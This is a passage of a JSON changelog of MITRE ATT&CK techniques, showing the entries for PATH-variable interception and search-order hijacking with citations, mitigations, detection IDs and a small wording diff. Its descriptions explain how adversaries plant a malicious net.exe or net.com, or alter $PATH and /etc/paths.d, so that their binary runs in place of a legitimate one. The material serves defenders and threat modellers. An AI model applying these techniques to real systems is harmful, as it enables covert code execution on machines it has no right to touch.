                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0038: Detection Strategy for Hijack Execution Flow using Executable Installer File Permissions Weakness"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 14:10:43.424000+00:00",
                    "modified": "2026-11-03 19:48:13.031000+00:00",
                    "name": "Path Interception by PATH Environment Variable",
                    "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory to which they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/007",
                            "external_id": "T1574.007"
                        },
                        {
                            "source_name": "Elastic Rules macOS launchctl 2022",
                            "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
                            "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
                        },
                        {
                            "source_name": "ExpressVPN PATH env Windows 2021",
                            "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
                            "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
                        },
                        {
                            "source_name": "uptycs Fake POC linux malware 2023",
                            "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
                            "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
                        },
                        {
                            "source_name": "nixCraft macOS PATH variables",
                            "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
                            "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Stefan Kanthak"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:48:13.031000+00:00\", \"old_value\": \"2026-05-12 15:12:00.620000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \\n\\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\\n\\nFor example, on Windows if an adversary places a malicious program named \\\"net.exe\\\" in `C:\\\\example path`, which by default precedes `C:\\\\Windows\\\\system32\\\\net.exe` in the PATH environment variable, when \\\"net\\\" is executed from the command-line the `C:\\\\example path` will be called instead of the system's legitimate executable at `C:\\\\Windows\\\\system32\\\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\\n\\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory to which they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \\n\\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\\n\\nFor example, on Windows if an adversary places a malicious program named \\\"net.exe\\\" in `C:\\\\example path`, which by default precedes `C:\\\\Windows\\\\system32\\\\net.exe` in the PATH environment variable, when \\\"net\\\" is executed from the command-line the `C:\\\\example path` will be called instead of the system's legitimate executable at `C:\\\\Windows\\\\system32\\\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\\n\\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n For example, on Windows if an adversary places a malicious program named \\\"net.exe\\\" in `C:\\\\example path`, which by default precedes `C:\\\\Windows\\\\system32\\\\net.exe` in the PATH environment variable, when \\\"net\\\" is executed from the command-line the `C:\\\\example path` will be called instead of the system's legitimate executable at `C:\\\\Windows\\\\system32\\\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\\n \\n-Adversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\\n+Adversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory to which they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to13__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to13__0\"><a href=\"#difflib_chg_to13__top\">t</a></td><td class=\"diff_header\" id=\"from13_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td><td class=\"diff_next\"><a href=\"#difflib_chg_to13__top\">t</a></td><td class=\"diff_header\" id=\"to13_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;execute&nbsp;their&nbsp;own&nbsp;malicious&nbsp;payloads&nbsp;by&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;environment&nbsp;variables&nbsp;used&nbsp;to&nbsp;load&nbsp;libraries.&nbsp;The&nbsp;PATH</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;environment&nbsp;variables&nbsp;used&nbsp;to&nbsp;load&nbsp;libraries.&nbsp;The&nbsp;PATH</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;environment&nbsp;variable&nbsp;contains&nbsp;a&nbsp;list&nbsp;of&nbsp;directories&nbsp;(User&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;environment&nbsp;variable&nbsp;contains&nbsp;a&nbsp;list&nbsp;of&nbsp;directories&nbsp;(User&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;System)&nbsp;that&nbsp;the&nbsp;OS&nbsp;searches&nbsp;sequentially&nbsp;through&nbsp;in&nbsp;sear</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;System)&nbsp;that&nbsp;the&nbsp;OS&nbsp;searches&nbsp;sequentially&nbsp;through&nbsp;in&nbsp;sear</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;of&nbsp;the&nbsp;binary&nbsp;that&nbsp;was&nbsp;called&nbsp;from&nbsp;a&nbsp;script&nbsp;or&nbsp;the&nbsp;comman</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;of&nbsp;the&nbsp;binary&nbsp;that&nbsp;was&nbsp;called&nbsp;from&nbsp;a&nbsp;script&nbsp;or&nbsp;the&nbsp;comman</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;line.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;place&nbsp;a&nbsp;malicious&nbsp;program&nbsp;in&nbsp;an&nbsp;ea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;line.&nbsp;&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;place&nbsp;a&nbsp;malicious&nbsp;program&nbsp;in&nbsp;an&nbsp;ea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rlier&nbsp;entry&nbsp;in&nbsp;the&nbsp;list&nbsp;of&nbsp;directories&nbsp;stored&nbsp;in&nbsp;the&nbsp;PATH&nbsp;en</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rlier&nbsp;entry&nbsp;in&nbsp;the&nbsp;list&nbsp;of&nbsp;directories&nbsp;stored&nbsp;in&nbsp;the&nbsp;PATH&nbsp;en</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vironment&nbsp;variable,&nbsp;resulting&nbsp;in&nbsp;the&nbsp;operating&nbsp;system&nbsp;execut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vironment&nbsp;variable,&nbsp;resulting&nbsp;in&nbsp;the&nbsp;operating&nbsp;system&nbsp;execut</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;the&nbsp;malicious&nbsp;binary&nbsp;rather&nbsp;than&nbsp;the&nbsp;legitimate&nbsp;binary&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;the&nbsp;malicious&nbsp;binary&nbsp;rather&nbsp;than&nbsp;the&nbsp;legitimate&nbsp;binary&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;it&nbsp;searches&nbsp;sequentially&nbsp;through&nbsp;that&nbsp;PATH&nbsp;listing.&nbsp;&nbsp;For</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hen&nbsp;it&nbsp;searches&nbsp;sequentially&nbsp;through&nbsp;that&nbsp;PATH&nbsp;listing.&nbsp;&nbsp;For</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;example,&nbsp;on&nbsp;Windows&nbsp;if&nbsp;an&nbsp;adversary&nbsp;places&nbsp;a&nbsp;malicious&nbsp;prog</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;example,&nbsp;on&nbsp;Windows&nbsp;if&nbsp;an&nbsp;adversary&nbsp;places&nbsp;a&nbsp;malicious&nbsp;prog</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ram&nbsp;named&nbsp;\"net.exe\"&nbsp;in&nbsp;`C:\\example&nbsp;path`,&nbsp;which&nbsp;by&nbsp;default&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ram&nbsp;named&nbsp;\"net.exe\"&nbsp;in&nbsp;`C:\\example&nbsp;path`,&nbsp;which&nbsp;by&nbsp;default&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">recedes&nbsp;`C:\\Windows\\system32\\net.exe`&nbsp;in&nbsp;the&nbsp;PATH&nbsp;environmen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">recedes&nbsp;`C:\\Windows\\system32\\net.exe`&nbsp;in&nbsp;the&nbsp;PATH&nbsp;environmen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;variable,&nbsp;when&nbsp;\"net\"&nbsp;is&nbsp;executed&nbsp;from&nbsp;the&nbsp;command-line&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;variable,&nbsp;when&nbsp;\"net\"&nbsp;is&nbsp;executed&nbsp;from&nbsp;the&nbsp;command-line&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`C:\\example&nbsp;path`&nbsp;will&nbsp;be&nbsp;called&nbsp;instead&nbsp;of&nbsp;the&nbsp;system's&nbsp;le</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`C:\\example&nbsp;path`&nbsp;will&nbsp;be&nbsp;called&nbsp;instead&nbsp;of&nbsp;the&nbsp;system's&nbsp;le</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gitimate&nbsp;executable&nbsp;at&nbsp;`C:\\Windows\\system32\\net.exe`.&nbsp;Some&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gitimate&nbsp;executable&nbsp;at&nbsp;`C:\\Windows\\system32\\net.exe`.&nbsp;Some&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ethods&nbsp;of&nbsp;executing&nbsp;a&nbsp;program&nbsp;rely&nbsp;on&nbsp;the&nbsp;PATH&nbsp;environment&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ethods&nbsp;of&nbsp;executing&nbsp;a&nbsp;program&nbsp;rely&nbsp;on&nbsp;the&nbsp;PATH&nbsp;environment&nbsp;v</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ariable&nbsp;to&nbsp;determine&nbsp;the&nbsp;locations&nbsp;that&nbsp;are&nbsp;searched&nbsp;when&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ariable&nbsp;to&nbsp;determine&nbsp;the&nbsp;locations&nbsp;that&nbsp;are&nbsp;searched&nbsp;when&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;path&nbsp;for&nbsp;the&nbsp;program&nbsp;is&nbsp;not&nbsp;given,&nbsp;such&nbsp;as&nbsp;executing&nbsp;progr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;path&nbsp;for&nbsp;the&nbsp;program&nbsp;is&nbsp;not&nbsp;given,&nbsp;such&nbsp;as&nbsp;executing&nbsp;progr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ams&nbsp;from&nbsp;a&nbsp;[Command&nbsp;and&nbsp;Scripting&nbsp;Interpreter](https://attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ams&nbsp;from&nbsp;a&nbsp;[Command&nbsp;and&nbsp;Scripting&nbsp;Interpreter](https://attac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1059).(Citation:&nbsp;ExpressVPN&nbsp;PATH&nbsp;env</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1059).(Citation:&nbsp;ExpressVPN&nbsp;PATH&nbsp;env</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Windows&nbsp;2021)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;directly&nbsp;modify&nbsp;the&nbsp;$PA</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Windows&nbsp;2021)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;directly&nbsp;modify&nbsp;the&nbsp;$PA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TH&nbsp;variable&nbsp;specifying&nbsp;the&nbsp;directories&nbsp;to&nbsp;be&nbsp;searched.&nbsp;&nbsp;An&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TH&nbsp;variable&nbsp;specifying&nbsp;the&nbsp;directories&nbsp;to&nbsp;be&nbsp;searched.&nbsp;&nbsp;An&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;can&nbsp;modify&nbsp;the&nbsp;`$PATH`&nbsp;variable&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;direc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;can&nbsp;modify&nbsp;the&nbsp;`$PATH`&nbsp;variable&nbsp;to&nbsp;point&nbsp;to&nbsp;a&nbsp;direc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tory&nbsp;t<span class=\"diff_chg\">hey&nbsp;have</span>&nbsp;w<span class=\"diff_chg\">rite</span>&nbsp;access.&nbsp;When&nbsp;a&nbsp;program&nbsp;using&nbsp;the&nbsp;$PATH&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tory&nbsp;t<span class=\"diff_chg\">o</span>&nbsp;w<span class=\"diff_chg\">hich&nbsp;they&nbsp;have&nbsp;write</span>&nbsp;access.&nbsp;When&nbsp;a&nbsp;program&nbsp;using&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">variable&nbsp;is&nbsp;called,&nbsp;the&nbsp;OS&nbsp;searches&nbsp;the&nbsp;specified&nbsp;directory&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;$PATH&nbsp;variable&nbsp;is&nbsp;called,&nbsp;the&nbsp;OS&nbsp;searches&nbsp;the&nbsp;specified&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;executes&nbsp;the&nbsp;malicious&nbsp;binary.&nbsp;On&nbsp;macOS,&nbsp;this&nbsp;can&nbsp;also&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irectory&nbsp;and&nbsp;executes&nbsp;the&nbsp;malicious&nbsp;binary.&nbsp;On&nbsp;macOS,&nbsp;this&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;performed&nbsp;through&nbsp;modifying&nbsp;the&nbsp;$HOME&nbsp;variable.&nbsp;These&nbsp;vari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;also&nbsp;be&nbsp;performed&nbsp;through&nbsp;modifying&nbsp;the&nbsp;$HOME&nbsp;variable.&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ables&nbsp;can&nbsp;be&nbsp;modified&nbsp;using&nbsp;the&nbsp;command-line,&nbsp;launchctl,&nbsp;[Un</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hese&nbsp;variables&nbsp;can&nbsp;be&nbsp;modified&nbsp;using&nbsp;the&nbsp;command-line,&nbsp;launc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ix&nbsp;Shell&nbsp;Configuration&nbsp;Modification](https://attack.mitre.or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hctl,&nbsp;[Unix&nbsp;Shell&nbsp;Configuration&nbsp;Modification](https://attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1546/004),&nbsp;or&nbsp;modifying&nbsp;the&nbsp;`/etc/paths.d`&nbsp;fol</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1546/004),&nbsp;or&nbsp;modifying&nbsp;the&nbsp;`/etc/pat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;contents.(Citation:&nbsp;uptycs&nbsp;Fake&nbsp;POC&nbsp;linux&nbsp;malware&nbsp;2023)(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hs.d`&nbsp;folder&nbsp;contents.(Citation:&nbsp;uptycs&nbsp;Fake&nbsp;POC&nbsp;linux&nbsp;malwa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;nixCraft&nbsp;macOS&nbsp;PATH&nbsp;variables)(Citation:&nbsp;Elastic&nbsp;R</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;2023)(Citation:&nbsp;nixCraft&nbsp;macOS&nbsp;PATH&nbsp;variables)(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ules&nbsp;macOS&nbsp;launchctl&nbsp;2022)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Elastic&nbsp;Rules&nbsp;macOS&nbsp;launchctl&nbsp;2022)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1022: Restrict File and Directory Permissions",
                            "M1038: Execution Prevention",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0004: Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable."
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-13 17:48:58.999000+00:00",
                    "modified": "2026-11-04 01:05:50.979000+00:00",
                    "name": "Path Interception by Search Order Hijacking",
                    "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program.(Citation: Microsoft CreateProcess)(Citation: Windows NT Command Shell)(Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.(Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1574/008",
                            "external_id": "T1574.008"
                        },
                        {
                            "source_name": "Microsoft Environment Property",
                            "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
                            "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
                        },
                        {
                            "source_name": "Microsoft CreateProcess",
                            "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
                        },
                        {
                            "source_name": "Microsoft WinExec",
                            "description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"
                        },
                        {
                            "source_name": "Windows NT Command Shell",
                            "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
                            "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Stefan Kanthak"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
